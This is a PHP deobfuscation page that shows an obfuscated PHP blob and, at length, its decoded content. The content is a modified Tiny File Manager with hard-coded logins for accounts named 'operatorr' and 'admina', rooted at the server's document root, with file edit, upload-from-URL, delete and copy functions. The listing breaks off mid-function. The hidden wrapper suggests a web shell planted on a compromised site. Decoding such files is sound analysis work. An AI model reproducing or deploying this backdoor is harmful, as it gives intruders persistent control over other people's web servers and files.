Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php error_reporting(0); ini_set('display_errors', 0); $z = "PD9waHAKLy9EZWZhdWx0IEN..
Decoded Output download
?>b'<?php
//Default Configuration
$CONFIG = \'{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"theme":"light"}\';
/**
* H3K | Tiny File Manager V2.5.3
* @author CCP Programmers
* @email [email protected]
* @github https://github.com/prasathmani/tinyfilemanager
* @link https://tinyfilemanager.github.io
*/
//TFM version
define(\'VERSION\', \'2.5.3\');
//Application Title
define(\'APP_TITLE\', \'Tiny File Manager\');
// --- EDIT BELOW CONFIGURATION CAREFULLY ---
// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = true;
// Login user name and password
// Users: array(\'Username\' => \'Password\', \'Username2\' => \'Password2\', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
\'operatorr\' => \'$2y$10$bNo.DOpuSz0XvUoYuRABFODh4KmXhSXID0LrUeXFN1rNBmjMFnpR2\',
\'admina\' => \'$2y$10$bNo.DOpuSz0XvUoYuRABFODh4KmXhSXID0LrUeXFN1rNBmjMFnpR2\'
);
// Readonly users
// e.g. array(\'users\', \'guest\', ...)
$readonly_users = array(
\'user\'
);
// Global readonly, including when auth is not being used
$global_readonly = false;
// user specific directories
// array(\'Username\' => \'Directory path\', \'Username2\' => \'Directory path\', ...)
$directories_users = array();
// Enable highlight.js (https://highlightjs.org/) on view\'s page
$use_highlightjs = true;
// highlight.js style
// for dark theme use \'ir-black\'
$highlightjs_style = \'vs\';
// Enable ace.js (https://ace.c9.io/) on view\'s page
$edit_files = true;
// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = \'Etc/UTC\'; // UTC
// Root path for file manager
// use absolute path of directory i.e: \'/var/www/folder\' or $_SERVER[\'DOCUMENT_ROOT\'].\'/folder\'
$root_path = $_SERVER[\'DOCUMENT_ROOT\'];
// Root url for links in file manager.Relative to $http_host. Variants: \'\', \'path/to/subfolder\'
// Will not working if $root_path will be outside of server document root
$root_url = \'\';
// Server hostname. Can set manually if wrong
// $_SERVER[\'HTTP_HOST\'].\'/folder\'
$http_host = $_SERVER[\'HTTP_HOST\'];
// input encoding for iconv
$iconv_input_encoding = \'UTF-8\';
// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = \'m/d/Y g:i A\';
// Path display mode when viewing file information
// \'full\' => show full path
// \'relative\' => show path relative to root_path
// \'host\' => show path on the host
$path_display_mode = \'full\';
// Allowed file extensions for create and rename files
// e.g. \'txt,html,css,js\'
$allowed_file_extensions = \'\';
// Allowed file extensions for upload files
// e.g. \'gif,png,jpg,html,txt\'
$allowed_upload_extensions = \'\';
// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = \'\';
// Files and folders to excluded from listing
// e.g. array(\'myfile.html\', \'personal-folder\', \'*.php\', ...)
$exclude_items = array();
// Online office Docs Viewer
// Availabe rules are \'google\', \'microsoft\' or false
// Google => View documents using Google Docs Viewer
// Microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = \'google\';
// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;
// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB)
// chunk size used for upload
// eg. decrease to 1MB if nginx reports problem 413 entity too large
$upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB)
// Possible rules are \'OFF\', \'AND\' or \'OR\'
// OFF => Don\'t check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = \'OFF\';
// Should users be notified of their block?
$ip_silent = true;
// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
\'127.0.0.1\', // local ipv4
\'::1\' // local ipv6
);
// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
\'0.0.0.0\', // non-routable meta ipv4
\'::\' // non-routable meta ipv6
);
// if User has the external config file, try to use it to override the default config above [config.php]
// sample config - https://tinyfilemanager.github.io/config-sample.txt
$config_file = __DIR__.\'/config.php\';
if (is_readable($config_file)) {
@include($config_file);
}
// External CDN resources that can be used in the HTML (replace for GDPR compliance)
$external = array(
\'css-bootstrap\' => \'<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">\',
\'css-dropzone\' => \'<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">\',
\'css-font-awesome\' => \'<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">\',
\'css-highlightjs\' => \'<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/\' . $highlightjs_style . \'.min.css">\',
\'js-ace\' => \'<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>\',
\'js-bootstrap\' => \'<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>\',
\'js-dropzone\' => \'<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>\',
\'js-jquery\' => \'<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>\',
\'js-jquery-datatables\' => \'<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>\',
\'js-highlightjs\' => \'<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>\',
\'pre-jsdelivr\' => \'<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>\',
\'pre-cloudflare\' => \'<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>\'
);
// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---
// max upload file size
define(\'MAX_UPLOAD_SIZE\', $max_upload_size_bytes);
// upload chunk size
define(\'UPLOAD_CHUNK_SIZE\', $upload_chunk_size_bytes);
// private key and session name to store to the session
if ( !defined( \'FM_SESSION_ID\')) {
define(\'FM_SESSION_ID\', \'filemanager\');
}
// Configuration
$cfg = new FM_Config();
// Default language
$lang = isset($cfg->data[\'lang\']) ? $cfg->data[\'lang\'] : \'en\';
// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data[\'show_hidden\']) ? $cfg->data[\'show_hidden\'] : true;
// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data[\'error_reporting\']) ? $cfg->data[\'error_reporting\'] : true;
// Hide Permissions and Owner cols in file-listing
$hide_Cols = isset($cfg->data[\'hide_Cols\']) ? $cfg->data[\'hide_Cols\'] : true;
// Theme
$theme = isset($cfg->data[\'theme\']) ? $cfg->data[\'theme\'] : \'light\';
define(\'FM_THEME\', $theme);
//available languages
$lang_list = array(
\'en\' => \'English\'
);
if ($report_errors == true) {
@ini_set(\'error_reporting\', E_ALL);
@ini_set(\'display_errors\', 1);
} else {
@ini_set(\'error_reporting\', E_ALL);
@ini_set(\'display_errors\', 0);
}
// if fm included
if (defined(\'FM_EMBED\')) {
$use_auth = false;
$sticky_navbar = false;
} else {
@set_time_limit(600);
date_default_timezone_set($default_timezone);
ini_set(\'default_charset\', \'UTF-8\');
if (version_compare(PHP_VERSION, \'5.6.0\', \'<\') && function_exists(\'mb_internal_encoding\')) {
mb_internal_encoding(\'UTF-8\');
}
if (function_exists(\'mb_regex_encoding\')) {
mb_regex_encoding(\'UTF-8\');
}
session_cache_limiter(\'nocache\'); // Prevent logout issue after page was cached
session_name(FM_SESSION_ID );
function session_error_handling_function($code, $msg, $file, $line) {
// Permission denied for default session, try to create a new one
if ($code == 2) {
session_abort();
session_id(session_create_id());
@session_start();
}
}
set_error_handler(\'session_error_handling_function\');
session_start();
restore_error_handler();
}
//Generating CSRF Token
if (empty($_SESSION[\'token\'])) {
if (function_exists(\'random_bytes\')) {
$_SESSION[\'token\'] = bin2hex(random_bytes(32));
} else {
$_SESSION[\'token\'] = bin2hex(openssl_random_pseudo_bytes(32));
}
}
if (empty($auth_users)) {
$use_auth = false;
}
$is_https = isset($_SERVER[\'HTTPS\']) && ($_SERVER[\'HTTPS\'] == \'on\' || $_SERVER[\'HTTPS\'] == 1)
|| isset($_SERVER[\'HTTP_X_FORWARDED_PROTO\']) && $_SERVER[\'HTTP_X_FORWARDED_PROTO\'] == \'https\';
// update $root_url based on user specific directories
if (isset($_SESSION[FM_SESSION_ID][\'logged\']) && !empty($directories_users[$_SESSION[FM_SESSION_ID][\'logged\']])) {
$wd = fm_clean_path(dirname($_SERVER[\'PHP_SELF\']));
$root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID][\'logged\']];
}
// clean $root_url
$root_url = fm_clean_path($root_url);
// abs path for site
defined(\'FM_ROOT_URL\') || define(\'FM_ROOT_URL\', ($is_https ? \'https\' : \'http\') . \'://\' . $http_host . (!empty($root_url) ? \'/\' . $root_url : \'\'));
defined(\'FM_SELF_URL\') || define(\'FM_SELF_URL\', ($is_https ? \'https\' : \'http\') . \'://\' . $http_host . $_SERVER[\'PHP_SELF\']);
// logout
if (isset($_GET[\'logout\'])) {
unset($_SESSION[FM_SESSION_ID][\'logged\']);
unset( $_SESSION[\'token\']);
fm_redirect(FM_SELF_URL);
}
// Validate connection IP
if ($ip_ruleset != \'OFF\') {
function getClientIP() {
if (array_key_exists(\'HTTP_CF_CONNECTING_IP\', $_SERVER)) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
}else if (array_key_exists(\'HTTP_X_FORWARDED_FOR\', $_SERVER)) {
return $_SERVER["HTTP_X_FORWARDED_FOR"];
}else if (array_key_exists(\'REMOTE_ADDR\', $_SERVER)) {
return $_SERVER[\'REMOTE_ADDR\'];
}else if (array_key_exists(\'HTTP_CLIENT_IP\', $_SERVER)) {
return $_SERVER[\'HTTP_CLIENT_IP\'];
}
return \'\';
}
$clientIp = getClientIP();
$proceed = false;
$whitelisted = in_array($clientIp, $ip_whitelist);
$blacklisted = in_array($clientIp, $ip_blacklist);
if($ip_ruleset == \'AND\'){
if($whitelisted == true && $blacklisted == false){
$proceed = true;
}
} else
if($ip_ruleset == \'OR\'){
if($whitelisted == true || $blacklisted == false){
$proceed = true;
}
}
if($proceed == false){
trigger_error(\'User connection denied from: \' . $clientIp, E_USER_WARNING);
if($ip_silent == false){
fm_set_msg(lng(\'Access denied. IP restriction applicable\'), \'error\');
fm_show_header_login();
fm_show_message();
}
exit();
}
}
// Checking if the user is logged in or not. If not, it will show the login form.
if ($use_auth) {
if (isset($_SESSION[FM_SESSION_ID][\'logged\'], $auth_users[$_SESSION[FM_SESSION_ID][\'logged\']])) {
// Logged
} elseif (isset($_POST[\'fm_usr\'], $_POST[\'fm_pwd\'], $_POST[\'token\'])) {
// Logging In
sleep(1);
if(function_exists(\'password_verify\')) {
if (isset($auth_users[$_POST[\'fm_usr\']]) && isset($_POST[\'fm_pwd\']) && password_verify($_POST[\'fm_pwd\'], $auth_users[$_POST[\'fm_usr\']]) && verifyToken($_POST[\'token\'])) {
$_SESSION[FM_SESSION_ID][\'logged\'] = $_POST[\'fm_usr\'];
fm_set_msg(lng(\'You are logged in\'));
fm_redirect(FM_SELF_URL);
} else {
unset($_SESSION[FM_SESSION_ID][\'logged\']);
fm_set_msg(lng(\'Login failed. Invalid username or password\'), \'error\');
fm_redirect(FM_SELF_URL);
}
} else {
fm_set_msg(lng(\'password_hash not supported, Upgrade PHP version\'), \'error\');;
}
} else {
// Form
unset($_SESSION[FM_SESSION_ID][\'logged\']);
fm_show_header_login();
?>
<section class="h-100">
<div class="container h-100">
<div class="row justify-content-md-center h-100">
<div class="card-wrapper">
<div class="card fat <?php echo fm_get_theme(); ?>">
<div class="card-body">
<form class="form-signin" action="" method="post" autocomplete="off">
<div class="mb-3">
<div class="brand">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager">
<g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
<path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
<path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
<path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
</svg>
</div>
<div class="text-center">
<h1 class="card-title"><?php echo APP_TITLE; ?></h1>
</div>
</div>
<hr />
<div class="mb-3">
<label for="fm_usr" class="pb-2"><?php echo lng(\'Username\'); ?></label>
<input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
</div>
<div class="mb-3">
<label for="fm_pwd" class="pb-2"><?php echo lng(\'Password\'); ?></label>
<input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
</div>
<div class="mb-3">
<?php fm_show_message(); ?>
</div>
<input type="hidden" name="token" value="<?php echo htmlentities($_SESSION[\'token\']); ?>" />
<div class="mb-3">
<button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
<?php echo lng(\'Login\'); ?>
</button>
</div>
</form>
</div>
</div>
<div class="footer text-center">
<a href="https://tinyfilemanager.github.io/" target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a>
</div>
</div>
</div>
</div>
</section>
<?php
fm_show_footer_login();
exit;
}
}
// update root path
if ($use_auth && isset($_SESSION[FM_SESSION_ID][\'logged\'])) {
$root_path = isset($directories_users[$_SESSION[FM_SESSION_ID][\'logged\']]) ? $directories_users[$_SESSION[FM_SESSION_ID][\'logged\']] : $root_path;
}
// clean and check $root_path
$root_path = rtrim($root_path, \'\/\');
$root_path = str_replace(\'\\', \'/\', $root_path);
if (!@is_dir($root_path)) {
echo "<h1>".lng(\'Root path\')." \"{$root_path}\" ".lng(\'not found!\')." </h1>";
exit;
}
defined(\'FM_SHOW_HIDDEN\') || define(\'FM_SHOW_HIDDEN\', $show_hidden_files);
defined(\'FM_ROOT_PATH\') || define(\'FM_ROOT_PATH\', $root_path);
defined(\'FM_LANG\') || define(\'FM_LANG\', $lang);
defined(\'FM_FILE_EXTENSION\') || define(\'FM_FILE_EXTENSION\', $allowed_file_extensions);
defined(\'FM_UPLOAD_EXTENSION\') || define(\'FM_UPLOAD_EXTENSION\', $allowed_upload_extensions);
defined(\'FM_EXCLUDE_ITEMS\') || define(\'FM_EXCLUDE_ITEMS\', (version_compare(PHP_VERSION, \'7.0.0\', \'<\') ? serialize($exclude_items) : $exclude_items));
defined(\'FM_DOC_VIEWER\') || define(\'FM_DOC_VIEWER\', $online_viewer);
define(\'FM_READONLY\', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID][\'logged\']) && in_array($_SESSION[FM_SESSION_ID][\'logged\'], $readonly_users)));
define(\'FM_IS_WIN\', DIRECTORY_SEPARATOR == \'\\');
// always use ?p=
if (!isset($_GET[\'p\']) && empty($_FILES)) {
fm_redirect(FM_SELF_URL . \'?p=\');
}
// get path
$p = isset($_GET[\'p\']) ? $_GET[\'p\'] : (isset($_POST[\'p\']) ? $_POST[\'p\'] : \'\');
// clean path
$p = fm_clean_path($p);
// for ajax request - save
$input = file_get_contents(\'php://input\');
$_POST = (strpos($input, \'ajax\') != FALSE && strpos($input, \'save\') != FALSE) ? json_decode($input, true) : $_POST;
// instead globals vars
define(\'FM_PATH\', $p);
define(\'FM_USE_AUTH\', $use_auth);
define(\'FM_EDIT_FILE\', $edit_files);
defined(\'FM_ICONV_INPUT_ENC\') || define(\'FM_ICONV_INPUT_ENC\', $iconv_input_encoding);
defined(\'FM_USE_HIGHLIGHTJS\') || define(\'FM_USE_HIGHLIGHTJS\', $use_highlightjs);
defined(\'FM_HIGHLIGHTJS_STYLE\') || define(\'FM_HIGHLIGHTJS_STYLE\', $highlightjs_style);
defined(\'FM_DATETIME_FORMAT\') || define(\'FM_DATETIME_FORMAT\', $datetime_format);
unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);
/*************************** ACTIONS ***************************/
// Handle all AJAX Request
if ((isset($_SESSION[FM_SESSION_ID][\'logged\'], $auth_users[$_SESSION[FM_SESSION_ID][\'logged\']]) || !FM_USE_AUTH) && isset($_POST[\'ajax\'], $_POST[\'token\']) && !FM_READONLY) {
if(!verifyToken($_POST[\'token\'])) {
header(\'HTTP/1.0 401 Unauthorized\');
die("Invalid Token.");
}
//search : get list of files from the current folder
if(isset($_POST[\'type\']) && $_POST[\'type\']=="search") {
$dir = $_POST[\'path\'] == "." ? \'\': $_POST[\'path\'];
$response = scan(fm_clean_path($dir), $_POST[\'content\']);
echo json_encode($response);
exit();
}
// save editor file
if (isset($_POST[\'type\']) && $_POST[\'type\'] == "save") {
// get current path
$path = FM_ROOT_PATH;
if (FM_PATH != \'\') {
$path .= \'/\' . FM_PATH;
}
// check path
if (!is_dir($path)) {
fm_redirect(FM_SELF_URL . \'?p=\');
}
$file = $_GET[\'edit\'];
$file = fm_clean_path($file);
$file = str_replace(\'/\', \'\', $file);
if ($file == \'\' || !is_file($path . \'/\' . $file)) {
fm_set_msg(lng(\'File not found\'), \'error\');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
header(\'X-XSS-Protection:0\');
$file_path = $path . \'/\' . $file;
$writedata = $_POST[\'content\'];
$fd = fopen($file_path, "w");
$write_results = @fwrite($fd, $writedata);
fclose($fd);
if ($write_results === false){
header("HTTP/1.1 500 Internal Server Error");
die("Could Not Write File! - Check Permissions / Ownership");
}
die(true);
}
// backup files
if (isset($_POST[\'type\']) && $_POST[\'type\'] == "backup" && !empty($_POST[\'file\'])) {
$fileName = fm_clean_path($_POST[\'file\']);
$fullPath = FM_ROOT_PATH . \'/\';
if (!empty($_POST[\'path\'])) {
$relativeDirPath = fm_clean_path($_POST[\'path\']);
$fullPath .= "{$relativeDirPath}/";
}
$date = date("dMy-His");
$newFileName = "{$fileName}-{$date}.bak";
$fullyQualifiedFileName = $fullPath . $fileName;
try {
if (!file_exists($fullyQualifiedFileName)) {
throw new Exception("File {$fileName} not found");
}
if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
echo "Backup {$newFileName} created";
} else {
throw new Exception("Could not copy file {$fileName}");
}
} catch (Exception $e) {
echo $e->getMessage();
}
}
// Save Config
if (isset($_POST[\'type\']) && $_POST[\'type\'] == "settings") {
global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
$newLng = $_POST[\'js-language\'];
fm_get_translations([]);
if (!array_key_exists($newLng, $lang_list)) {
$newLng = \'en\';
}
$erp = isset($_POST[\'js-error-report\']) && $_POST[\'js-error-report\'] == "true" ? true : false;
$shf = isset($_POST[\'js-show-hidden\']) && $_POST[\'js-show-hidden\'] == "true" ? true : false;
$hco = isset($_POST[\'js-hide-cols\']) && $_POST[\'js-hide-cols\'] == "true" ? true : false;
$te3 = $_POST[\'js-theme-3\'];
if ($cfg->data[\'lang\'] != $newLng) {
$cfg->data[\'lang\'] = $newLng;
$lang = $newLng;
}
if ($cfg->data[\'error_reporting\'] != $erp) {
$cfg->data[\'error_reporting\'] = $erp;
$report_errors = $erp;
}
if ($cfg->data[\'show_hidden\'] != $shf) {
$cfg->data[\'show_hidden\'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data[\'show_hidden\'] != $shf) {
$cfg->data[\'show_hidden\'] = $shf;
$show_hidden_files = $shf;
}
if ($cfg->data[\'hide_Cols\'] != $hco) {
$cfg->data[\'hide_Cols\'] = $hco;
$hide_Cols = $hco;
}
if ($cfg->data[\'theme\'] != $te3) {
$cfg->data[\'theme\'] = $te3;
$theme = $te3;
}
$cfg->save();
echo true;
}
// new password hash
if (isset($_POST[\'type\']) && $_POST[\'type\'] == "pwdhash") {
$res = isset($_POST[\'inputPassword2\']) && !empty($_POST[\'inputPassword2\']) ? password_hash($_POST[\'inputPassword2\'], PASSWORD_DEFAULT) : \'\';
echo $res;
}
//upload using url
if(isset($_POST[\'type\']) && $_POST[\'type\'] == "upload" && !empty($_REQUEST["uploadurl"])) {
$path = FM_ROOT_PATH;
if (FM_PATH != \'\') {
$path .= \'/\' . FM_PATH;
}
function event_callback ($message) {
global $callback;
echo json_encode($message);
}
function get_file_path () {
global $path, $fileinfo, $temp_file;
return $path."/".basename($fileinfo->name);
}
$url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;
//prevent 127.* domain and known ports
$domain = parse_url($url, PHP_URL_HOST);
$port = parse_url($url, PHP_URL_PORT);
$knownPorts = [22, 23, 25, 3306];
if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
$err = array("message" => "URL is not allowed");
event_callback(array("fail" => $err));
exit();
}
$use_curl = false;
$temp_file = tempnam(sys_get_temp_dir(), "upload-");
$fileinfo = new stdClass();
$fileinfo->name = trim(basename($url), "... ");
$allowed = (FM_UPLOAD_EXTENSION) ? explode(\',\', FM_UPLOAD_EXTENSION) : false;
$ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
$err = false;
if(!$isFileAllowed) {
$err = array("message" => "File extension is not allowed");
event_callback(array("fail" => $err));
exit();
}
if (!$url) {
$success = false;
} else if ($use_curl) {
@$fp = fopen($temp_file, "w");
@$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOPROGRESS, false );
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_FILE, $fp);
@$success = curl_exec($ch);
$curl_info = curl_getinfo($ch);
if (!$success) {
$err = array("message" => curl_error($ch));
}
@curl_close($ch);
fclose($fp);
$fileinfo->size = $curl_info["size_download"];
$fileinfo->type = $curl_info["content_type"];
} else {
$ctx = stream_context_create();
@$success = copy($url, $temp_file, $ctx);
if (!$success) {
$err = error_get_last();
}
}
if ($success) {
$success = rename($temp_file, strtok(get_file_path(), \'?\'));
}
if ($success) {
event_callback(array("done" => $fileinfo));
} else {
unlink($temp_file);
if (!$err) {
$err = array("message" => "Invalid url parameter");
}
event_callback(array("fail" => $err));
}
}
exit();
}
// Delete file / folder
if (isset($_GET[\'del\'], $_POST[\'token\']) && !FM_READONLY) {
$del = str_replace( \'/\', \'\', fm_clean_path( $_GET[\'del\'] ) );
if ($del != \'\' && $del != \'..\' && $del != \'.\' && verifyToken($_POST[\'token\'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != \'\') {
$path .= \'/\' . FM_PATH;
}
$is_dir = is_dir($path . \'/\' . $del);
if (fm_rdelete($path . \'/\' . $del)) {
$msg = $is_dir ? lng(\'Folder\').\' <b>%s</b> \'.lng(\'Deleted\') : lng(\'File\').\' <b>%s</b> \'.lng(\'Deleted\');
fm_set_msg(sprintf($msg, fm_enc($del)));
} else {
$msg = $is_dir ? lng(\'Folder\').\' <b>%s</b> \'.lng(\'not deleted\') : lng(\'File\').\' <b>%s</b> \'.lng(\'not deleted\');
fm_set_msg(sprintf($msg, fm_enc($del)), \'error\');
}
} else {
fm_set_msg(lng(\'Invalid file or folder name\'), \'error\');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
// Create a new file/folder
if (isset($_POST[\'newfilename\'], $_POST[\'newfile\'], $_POST[\'token\']) && !FM_READONLY) {
$type = urldecode($_POST[\'newfile\']);
$new = str_replace( \'/\', \'\', fm_clean_path( strip_tags( $_POST[\'newfilename\'] ) ) );
if (fm_isvalid_filename($new) && $new != \'\' && $new != \'..\' && $new != \'.\' && verifyToken($_POST[\'token\'])) {
$path = FM_ROOT_PATH;
if (FM_PATH != \'\') {
$path .= \'/\' . FM_PATH;
}
if ($type == "file") {
if (!file_exists($path . \'/\' . $new)) {
if(fm_is_valid_ext($new)) {
@fopen($path . \'/\' . $new, \'w\') or die(\'Cannot open file: \' . $new);
fm_set_msg(sprintf(lng(\'File\').\' <b>%s</b> \'.lng(\'Created\'), fm_enc($new)));
} else {
fm_set_msg(lng(\'File extension is not allowed\'), \'error\');
}
} else {
fm_set_msg(sprintf(lng(\'File\').\' <b>%s</b> \'.lng(\'already exists\'), fm_enc($new)), \'alert\');
}
} else {
if (fm_mkdir($path . \'/\' . $new, false) === true) {
fm_set_msg(sprintf(lng(\'Folder\').\' <b>%s</b> \'.lng(\'Created\'), $new));
} elseif (fm_mkdir($path . \'/\' . $new, false) === $path . \'/\' . $new) {
fm_set_msg(sprintf(lng(\'Folder\').\' <b>%s</b> \'.lng(\'already exists\'), fm_enc($new)), \'alert\');
} else {
fm_set_msg(sprintf(lng(\'Folder\').\' <b>%s</b> \'.lng(\'not created\'), fm_enc($new)), \'error\');
}
}
} else {
fm_set_msg(lng(\'Invalid characters in file or folder name\'), \'error\');
}
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
// Copy folder / file
if (isset($_GET[\'copy\'], $_GET[\'finish\']) && !FM_READONLY) {
// from
$copy = urldecode($_GET[\'copy\']);
$copy = fm_clean_path($copy);
// empty path
if ($copy == \'\') {
fm_set_msg(lng(\'Source path not defined\'), \'error\');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . \'?p=\' . urlencode($FM_PATH));
}
// abs path from
$from = FM_ROOT_PATH . \'/\' . $copy;
// abs path to
$dest = FM_ROOT_PATH;
if (FM_PATH != \'\') {
$dest .= \'/\' . FM_PATH;
}
$dest .= \'/\' . basename($from);
// move?
$move = isset($_GET[\'move\']);
$move = fm_clean_path(urldecode($move));
// copy/move/duplicate
if ($from != $dest) {
$msg_from = trim(FM_PATH . \'/\' . basename($from), \'/\');
if ($move) { // Move and to != from so just perform move
$rename = fm_rename($from, $dest);
if ($rename) {
fm_set_msg(sprintf(lng(\'Moved from\').\' <b>%s</b> \'.lng(\'to\').\' <b>%s</b>\', fm_enc($copy), fm_enc($msg_from)));
} elseif ($rename === null) {
fm_set_msg(lng(\'File or folder with this path already exists\'), \'alert\');
} else {
fm_set_msg(sprintf(lng(\'Error while moving from\').\' <b>%s</b> \'.lng(\'to\').\' <b>%s</b>\', fm_enc($copy), fm_enc($msg_from)), \'error\');
}
} else { // Not move and to != from so copy with original name
if (fm_rcopy($from, $dest)) {
fm_set_msg(sprintf(lng(\'Copied from\').\' <b>%s</b> \'.lng(\'to\').\' <b>%s</b>\', fm_enc($copy), fm_enc($msg_from)));
} else {
fm_set_msg(sprintf(lng(\'Error while copying from\').\' <b>%s</b> \'.lng(\'to\').\' <b>%s</b>\', fm_enc($copy), fm_enc($msg_from)), \'error\');
}
}
} else {
if (!$move){ //Not move and to = from so duplicate
$msg_from = trim(FM_PATH . \'/\' . basename($from), \'/\');
$fn_parts = pathinfo($from);
$extension_suffix = \'\';
if(!is_dir($from)){
$extension_suffix = \'.\'.$fn_parts[\'extension\'];
}
//Create new name for duplicate
$fn_duplicate = $fn_parts[\'dirname\'].\'/\'.$fn_parts[\'filename\'].\'-\'.date(\'YmdHis\').$extension_suffix;
$loop_count = 0;
$max_loop = 1000;
// Check if a file with the duplicate name already exists, if so, make new name (edge case...)
while(file_exists($fn_duplicate) & $loop_count < $max_loop){
$fn_parts = pathinfo($fn_duplicate);
$fn_duplicate = $fn_parts[\'dirname\'].\'/\'.$fn_parts[\'filename\'].\'-copy\'.$extension_suffix;
$loop_count++;
}
if (fm_rcopy($from, $fn_duplicate, False)) {
fm_set_msg(sprintf(\'Copied from <b>%s</b> to <b>%s</b>\', fm_enc($copy), fm_enc($fn_duplicate)));
} else {
